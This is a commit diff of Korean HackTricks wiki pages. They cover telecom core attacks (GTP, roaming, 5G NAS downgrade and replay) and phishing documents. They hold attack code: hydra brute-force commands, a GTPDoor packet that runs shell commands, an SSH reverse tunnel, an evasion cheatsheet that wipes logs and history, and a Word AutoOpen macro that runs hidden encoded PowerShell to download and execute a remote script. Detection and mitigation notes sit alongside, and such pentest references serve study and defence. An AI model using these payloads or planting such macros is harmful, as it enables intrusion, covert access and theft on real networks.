mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
d008ddfd40
commit
8901ec698e
@ -1,27 +1,27 @@
|
||||
# 텔레콤 네트워크 악용 (GTP / 로밍 환경)
|
||||
# 텔레콤 네트워크 악용 (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **통신사 경계 내의 어떤 foothold든 일반적으로 코어 signalling plane에 직접 도달할 수 있다**. 다음 메모들은 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기법들을 정리한 것이다.
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) 종종 반신뢰된 GRX/IPX roaming 백본을 통과합니다. 평문 UDP로 전송되고 거의 인증이 없기 때문에, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. 다음 노트는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 현장에서 관찰된 offensive tricks를 모아둔 것입니다.
|
||||
|
||||
## 1. 정찰 및 초기 접근
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 기본 OSS / NE 계정
|
||||
상당수의 벤더 네트워크 장비는 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 와 같은 하드코드된 SSH/Telnet 사용자로 출하시된다. 전용 워드리스트는 브루트포스 성공률을 크게 높인다:
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
놀랍게도 많은 벤더 네트워크 엘리먼트가 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 같은 하드코드된 SSH/Telnet 사용자 계정과 함께 출하됩니다. 전용 wordlist는 brute-force 성공률을 극적으로 높입니다:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
장치가 관리 VRF만 노출하는 경우, 먼저 jump host를 통해 pivot 하세요 (아래 «SGSN Emu Tunnel» 섹션 참조).
|
||||
장치가 management VRF만 노출하고 있다면, 먼저 jump host를 통해 pivot하세요(아래 «SGSN Emu Tunnel» 섹션 참조).
|
||||
|
||||
### 1.2 GRX/IPX 내부의 호스트 검색
|
||||
대부분의 GRX 운영자는 여전히 백본 전반에 걸쳐 **ICMP echo**를 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 사용하면 GTP-C 리스너를 빠르게 매핑할 수 있습니다:
|
||||
### 1.2 Host Discovery inside GRX/IPX
|
||||
대부분의 GRX 사업자는 백본 전반에 걸쳐 **ICMP echo**를 여전히 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 결합하여 GTP-C 리스너를 빠르게 매핑하세요:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerating Subscribers – `cordscan`
|
||||
## 2. 가입자 열거 – `cordscan`
|
||||
|
||||
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI에 서비스를 제공하는 현재 **SGSN / MME** 및 때때로 가입자의 방문 PLMN을 드러냅니다.
|
||||
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 **SGSN / MME**와 때로는 가입자가 방문한 PLMN을 알려줍니다.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -32,9 +32,9 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
주요 플래그:
|
||||
- `--imsi` 대상 가입자 IMSI
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` 원시 패킷을 pcap에 기록
|
||||
- `-w` raw 패킷을 pcap으로 기록
|
||||
|
||||
바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있다:
|
||||
바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있습니다:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor`는 UDP 2123에 바인드되어 수신되는 모든 GTP-C 패킷을 파싱하는 작은 ELF 서비스입니다. payload가 pre-shared tag로 시작하면 나머지 데이터는 AES-128-CBC로 복호화되어 `/bin/sh -c`로 실행됩니다. stdout/stderr는 **Echo Response** 메시지 안에 exfiltrated되어 외부 세션이 생성되지 않습니다.
|
||||
`GTPDoor`는 작은 ELF 서비스로, **UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다**. 페이로드가 pre-shared tag로 시작하면, 나머지는 AES-128-CBC로 복호화되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내부로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다.
|
||||
|
||||
Minimal PoC packet (Python):
|
||||
최소 PoC 패킷 (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -53,23 +53,23 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
탐지:
|
||||
* 어떤 호스트가 SGSN IP들로 **unbalanced Echo Requests**를 전송하는 경우
|
||||
* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)인 경우 – 명세와의 불일치
|
||||
* SGSN IPs로 **unbalanced Echo Requests**를 보내는 모든 호스트
|
||||
* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격과의 편차
|
||||
|
||||
## 4. 코어를 통한 Pivoting
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN`은 실제 GGSN/PGW를 향해 **establish a PDP context towards a real GGSN/PGW** 할 수 있는 SGSN 에뮬레이터를 포함합니다. 협상 후, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다.
|
||||
`OsmoGGSN`는 **실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는** SGSN 에뮬레이터를 제공합니다. 협상되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
적절한 firewall hair-pinning을 통해, 이 터널은 signalling-only VLANs를 우회하여 당신을 직접 **data plane**에 진입시킵니다.
|
||||
적절한 firewall hair-pinning으로 이 터널은 signalling-only VLANs를 우회하여 직접 **data plane**에 접근합니다.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel 포트 53을 통한
|
||||
로밍 인프라에서는 DNS가 거의 항상 열려 있습니다. 내부 SSH 서비스를 :53에서 listening하도록 VPS에 노출시키고, 집에서 나중에 접속하십시오:
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS는 roaming infrastructures에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 listening on :53으로 노출시키고 집에서 나중에 접속하세요:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
@ -80,10 +80,10 @@ VPS에서 `GatewayPorts yes`가 활성화되어 있는지 확인하세요.
|
||||
| 채널 | 전송 | 디코딩 | 비고 |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수한 수동 리스너, 아웃바운드 트래픽 없음 |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인을 모니터링함 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 정상적인 GTP-C 통신과 섞여 위장함 |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인 감시 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 합법적인 GTP-C 트래픽과 섞여 작동 |
|
||||
|
||||
모든 implants는 watchdogs를 구현하며, 바이너리를 **timestomp**하고 충돌 시 re-spawn합니다.
|
||||
모든 implants는 watchdogs를 구현하며, 충돌 시 그들의 binaries를 **timestomp**하고 re-spawn합니다.
|
||||
|
||||
## 6. 방어 회피 치트시트
|
||||
```bash
|
||||
@ -116,76 +116,76 @@ python3 exploit_userspec.py
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Tool Box
|
||||
## 8. 도구 모음
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 custom tooling.
|
||||
* `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `FScan` : intranet TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : 경량 SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / 자산 브리징
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
## 9. 5G NAS Registration 공격: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
5G 등록 절차는 NGAP 위에서 NAS(Non-Access Stratum)로 동작한다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 이 보안 이전 창은 N2 트래픽을 관찰하거나 변조할 수 있을 때(예: 코어 내부 on-path, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.
|
||||
5G 등록 절차는 NGAP 위의 NAS(Non-Access Stratum)에서 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 보안 비활성 창(window)은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부 온-패스, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
Registration 흐름(단순화):
|
||||
- Registration Request: UE가 SUCI(SUPI 암호화)를 전송하고 capabilities를 보낸다.
|
||||
- Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다.
|
||||
- Security Mode Command/Complete: NAS 무결성 및 암호화가 협상되어 활성화된다.
|
||||
- PDU Session Establishment: IP/QoS 설정.
|
||||
|
||||
Lab setup tips (non-RF):
|
||||
- Core: Open5GS default deployment은 흐름을 재현하기에 충분함.
|
||||
- UE: simulator 또는 test UE; Wireshark로 디코드.
|
||||
- Active tooling: 5GReplay (NGAP 내에서 NAS 캡처/수정/재전송), Sni5Gect (전체 rogue gNB를 띄우지 않고도 NAS를 실시간으로 스니핑/패치/인젝션).
|
||||
- Useful display filters in Wireshark:
|
||||
Lab 설정 팁 (non-RF):
|
||||
- Core: Open5GS 기본 배포로 흐름을 재현하기에 충분하다.
|
||||
- UE: simulator 또는 테스트 UE; Wireshark로 디코드.
|
||||
- Active tooling: 5GReplay (NAS를 NGAP 내에서 캡처/수정/재전송), Sni5Gect (완전한 rogue gNB를 띄우지 않고 NAS를 실시간으로 스니핑/패치/인젝션).
|
||||
- Wireshark에서 유용한 display filter:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Expected: UE/USIM은 SUCI(SUPI를 홈 네트워크 공개키로 암호화한 것)를 전송해야 한다. Registration Request에서 평문 SUPI/IMSI를 발견하면 지속적인 가입자 추적을 가능하게 하는 프라이버시 결함을 의미한다.
|
||||
예상 동작: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)만 전송해야 한다. Registration Request에서 평문 SUPI/IMSI가 발견되면 지속적인 가입자 추적을 가능하게 하는 개인정보 보호 결함을 의미한다.
|
||||
|
||||
How to test:
|
||||
- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사.
|
||||
- Wireshark quick checks:
|
||||
- 디코딩 결과가 SUCI로 나와야 하며 IMSI로 나오면 안 됨.
|
||||
- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`가 존재해야 함; 해당 항목이 없고 `imsi`가 존재하면 노출을 의미.
|
||||
테스트 방법:
|
||||
- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다.
|
||||
- Wireshark 빠른 점검:
|
||||
- SUCI로 디코드되어야 하며, IMSI로 디코드되어서는 안 된다.
|
||||
- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`가 있어야 한다; 없고 대신 `imsi`가 존재하면 노출(leak)이다.
|
||||
|
||||
What to collect:
|
||||
- 노출된 경우 MCC/MNC/MSIN을 수집; UE별로 기록하고 시간/위치에 따라 추적.
|
||||
수집할 항목:
|
||||
- 노출된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치 별로 추적한다.
|
||||
|
||||
Mitigation:
|
||||
- SUCI 전용 UE/USIM 강제화; 초기 NAS에서 어떤 IMSI/SUPI라도 감지되면 경보.
|
||||
완화책:
|
||||
- SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 감지되면 경보.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Background:
|
||||
- UE는 Registration Request의 UE Security Capability IE에 지원하는 EEA(암호화)와 EIA(무결성)를 광고함.
|
||||
- 일반적인 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0은 null 알고리즘임.
|
||||
배경:
|
||||
- UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다.
|
||||
- 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다.
|
||||
|
||||
Issue:
|
||||
- Registration Request는 무결성으로 보호되지 않기 때문에 on-path 공격자는 capability 비트를 제거해 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 긴급 서비스 외부에서도 null 알고리즘을 잘못 허용한다.
|
||||
문제:
|
||||
- Registration Request는 무결성 보호되지 않기 때문에, 온-패스 공격자가 capability 비트를 지워 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 응급 서비스 외부에서 null 알고리즘을 잘못 허용한다.
|
||||
|
||||
Offensive steps:
|
||||
- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정.
|
||||
- Sni5Gect로 NAS 메시지를 후킹하여 전달하기 전에 capability 비트를 패치.
|
||||
- AMF가 null cipher/integrity를 수락하고 Security Mode를 EEA0/EIA0로 완료하는지 관찰.
|
||||
공격 단계:
|
||||
- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정한다.
|
||||
- Sni5Gect로 NAS 메시지를 훅(hook)하고 전달 전에 capability 비트를 패치한다.
|
||||
- AMF가 null 암호/무결성을 수락하여 Security Mode를 EEA0/EIA0로 완료하는지 관찰한다.
|
||||
|
||||
Verification/visibility:
|
||||
- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인.
|
||||
- Example passive sniffer output:
|
||||
검증/가시성:
|
||||
- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인한다.
|
||||
- 예시 수동 스니퍼 출력:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
완화 조치(필수):
|
||||
- AMF/policy를 구성하여 EEA0/EIA0를 엄격히 요구되는 경우(예: 긴급 통화)를 제외하고 거부하도록 설정.
|
||||
- 최소한 EEA2/EIA2 적용을 권장; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로그 기록 및 경보를 설정.
|
||||
Mitigations (must):
|
||||
- AMF/policy를 구성하여 엄격히 요구되는 경우(예: emergency calls)를 제외하고 EEA0/EIA0를 거부하도록 설정한다.
|
||||
- 최소한 EEA2/EIA2 적용을 권장한다; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정한다.
|
||||
|
||||
### 9.3 초기 Registration Request의 Replay (pre-security NAS)
|
||||
초기 NAS는 무결성(integrity)과 신선도(freshness)가 부족하므로, 캡처된 InitialUEMessage+Registration Request는 AMF로 재생(replay)될 수 있다.
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
초기 NAS는 무결성과 신선도가 부족하기 때문에 캡처된 InitialUEMessage+Registration Request를 AMF로 재전송(replay)할 수 있다.
|
||||
|
||||
매칭되는 replays를 전달하기 위한 5GReplay용 PoC 룰:
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
@ -208,32 +208,32 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
What to observe:
|
||||
- AMF가 replay를 수락하고 Authentication으로 진행하는지 확인; freshness/컨텍스트 검증 부재는 노출을 의미함.
|
||||
관찰할 사항:
|
||||
- AMF가 replay를 수용하고 Authentication으로 진행하는지; freshness/context 검증의 부재는 노출을 의미함.
|
||||
|
||||
Mitigations:
|
||||
- AMF에서 replay 보호/컨텍스트 바인딩을 적용; GNB/UE별로 rate-limit 및 상관관계 분석 수행.
|
||||
완화 대책:
|
||||
- AMF에서 replay protection/context binding을 적용; GNB/UE별로 rate-limit 및 상관관계 적용.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: AMF/SMF/UPF를 띄워 코어를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
|
||||
- Wireshark: NGAP/NAS 디코드 확인; 위 필터를 적용해 Registration을 분리.
|
||||
- 5GReplay: registration을 캡처한 뒤 규칙에 따라 특정 NGAP + NAS 메시지를 replay.
|
||||
- Sni5Gect: NAS control-plane을 실시간으로 sniff/modify/inject하여 null 알고리즘을 유도하거나 인증 시퀀스를 교란.
|
||||
### 9.4 도구 포인터 (재현 가능)
|
||||
- Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
|
||||
- Wireshark: NGAP/NAS 디코드 확인; 위의 필터를 적용해 Registration을 분리.
|
||||
- 5GReplay: registration을 캡처한 뒤 규칙대로 특정 NGAP + NAS 메시지를 replay.
|
||||
- Sni5Gect: NAS control-plane을 실시간 sniff/modify/inject하여 null algorithms를 강제하거나 authentication 시퀀스를 교란.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Registration Request에서 평문 SUPI/IMSI를 지속적으로 검사; 문제 있는 장치/USIM을 차단.
|
||||
- EEA0/EIA0는 엄격히 정의된 긴급 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
|
||||
- 무단 또는 잘못 구성된 인프라 탐지: 비인가 gNB/AMF, 예기치 않은 N2 피어.
|
||||
- null 알고리즘을 초래하거나 InitialUEMessage의 빈번한 replay가 발생하는 NAS 보안 모드에 대해 경보.
|
||||
### 9.5 방어 체크리스트
|
||||
- Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI 존재 여부 확인; 문제 장치/USIM 차단.
|
||||
- EEA0/EIA0는 좁게 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
|
||||
- 무단 또는 잘못 구성된 인프라 탐지: unauthorized gNB/AMF, 예기치 않은 N2 피어.
|
||||
- null algorithms을 유발하거나 InitialUEMessage의 빈번한 replay를 초래하는 NAS security modes에 대해 경보.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **SGSN/GGSN 이외의 장치가 Create PDP Context Requests를 생성하는 경우**.
|
||||
2. **내부 IP로부터 SSH handshakes를 수신하는 비표준 포트(53, 80, 443)**.
|
||||
3. **상응하는 Echo Responses 없이 Echo Requests가 빈번한 경우** – GTPDoor 비콘을 나타낼 수 있음.
|
||||
4. **identifier/sequence 필드가 크고 0이 아닌 ICMP echo-reply 트래픽의 높은 비율**.
|
||||
5. 5G: **동일한 엔드포인트에서 반복되는 NAS Registration Requests를 포함한 InitialUEMessage** (replay signal).
|
||||
6. 5G: **긴급 상황 외에서 EEA0/EIA0를 협상하는 NAS Security Mode**.
|
||||
## 탐지 아이디어
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,40 +1,40 @@
|
||||
# Phishing 파일 및 문서
|
||||
# Phishing Files & Documents
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office 문서
|
||||
## Office Documents
|
||||
|
||||
Microsoft Word는 파일을 열기 전에 파일 데이터 검증을 수행합니다. 데이터 검증은 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중에 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
|
||||
Microsoft Word는 파일을 열기 전에 파일 데이터 검증을 수행합니다. 데이터 검증은 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
|
||||
|
||||
일반적으로 매크로를 포함한 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경해 이름을 바꿔도 매크로 실행 기능을 유지할 수 있습니다.\
|
||||
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾸면 Microsoft Word에서 처리되어 매크로를 실행할 수 있게 됩니다.\
|
||||
동일한 내부 구조와 메커니즘이 Microsoft Office Suite의 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다.
|
||||
보통 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 하지만 파일 확장자를 변경해 이름을 바꾸더라도 매크로 실행 기능을 유지하는 것이 가능합니다.\
|
||||
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾸면 Microsoft Word에서 해당 파일을 처리하여 매크로를 실행할 수 있게 됩니다.\
|
||||
동일한 내부 구조와 메커니즘이 Microsoft Office Suite (Excel, PowerPoint etc.)의 모든 소프트웨어에 적용됩니다.
|
||||
|
||||
다음 명령을 사용하여 일부 Office 프로그램에서 어떤 확장자가 실행될지 확인할 수 있습니다:
|
||||
다음 명령어를 사용하여 일부 Office 프로그램에서 실행될 확장자를 확인할 수 있습니다:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
DOCX 파일이 macros를 포함한 원격 템플릿 (File –Options –Add-ins –Manage: Templates –Go)을 참조하면 macros를 “실행”할 수도 있다.
|
||||
|
||||
### 외부 이미지 로드
|
||||
|
||||
다음으로 이동: _Insert --> Quick Parts --> Field_\
|
||||
_**카테고리**: Links and References, **필드 이름**: includePicture, 그리고 **파일명 또는 URL**:_ http://<ip>/whatever
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### 매크로 백도어
|
||||
### Macros 백도어
|
||||
|
||||
매크로를 사용해 문서에서 임의 코드를 실행할 수 있다.
|
||||
문서에서 macros를 사용하여 arbitrary code를 실행할 수 있다.
|
||||
|
||||
#### Autoload functions
|
||||
|
||||
더 일반적일수록 AV가 탐지할 가능성이 높다.
|
||||
더 흔할수록 AV가 탐지할 가능성이 높다.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### 매크로 코드 예제
|
||||
#### Macros Code Examples
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### 수동으로 메타데이터 제거
|
||||
#### 메타데이터 수동 제거
|
||||
|
||||
다음으로 이동: **File > Info > Inspect Document > Inspect Document**, 그러면 Document Inspector가 표시됩니다. **Inspect**를 클릭한 다음 **Document Properties and Personal Information** 옆의 **Remove All**을 클릭하세요.
|
||||
**File > Info > Inspect Document > Inspect Document**로 이동하면 Document Inspector가 나타납니다. **Inspect**를 클릭한 다음 **Document Properties and Personal Information** 옆의 **Remove All**을 클릭하세요.
|
||||
|
||||
#### 문서 확장자
|
||||
#### Doc 확장자
|
||||
|
||||
작업이 끝나면 **Save as type** 드롭다운을 선택하고 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
|
||||
그 이유는 **`.docx`** 안에는 매크로를 저장할 수 없고, 매크로 사용 **`.docm`** 확장자에는 오명이 있기 때문입니다(예: 썸네일 아이콘에 큰 `!`가 표시되고 일부 웹/이메일 게이트웨이에서 완전히 차단됨). 따라서 이 **레거시 `.doc` 확장자가 최선의 타협안**입니다.
|
||||
작업이 끝나면 **Save as type** 드롭다운에서 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
|
||||
이는 **`.docx`** 내부에 macro's를 저장할 수 없고 macro-enabled **`.docm`** 확장자에 대한 오명(예: 썸네일 아이콘에 큰 `!`가 표시되고 일부 웹/이메일 게이트웨이가 이를 완전히 차단함)이 있기 때문입니다. 따라서 이 **레거시 `.doc` 확장자가 최선의 타협안입니다**.
|
||||
|
||||
#### 악성 매크로 생성기
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA 파일
|
||||
## HTA Files
|
||||
|
||||
HTA는 Windows 프로그램으로, **HTML과 스크립팅 언어(예: VBScript 및 JScript)를 결합**합니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 '완전히 신뢰된' 애플리케이션으로 실행됩니다.
|
||||
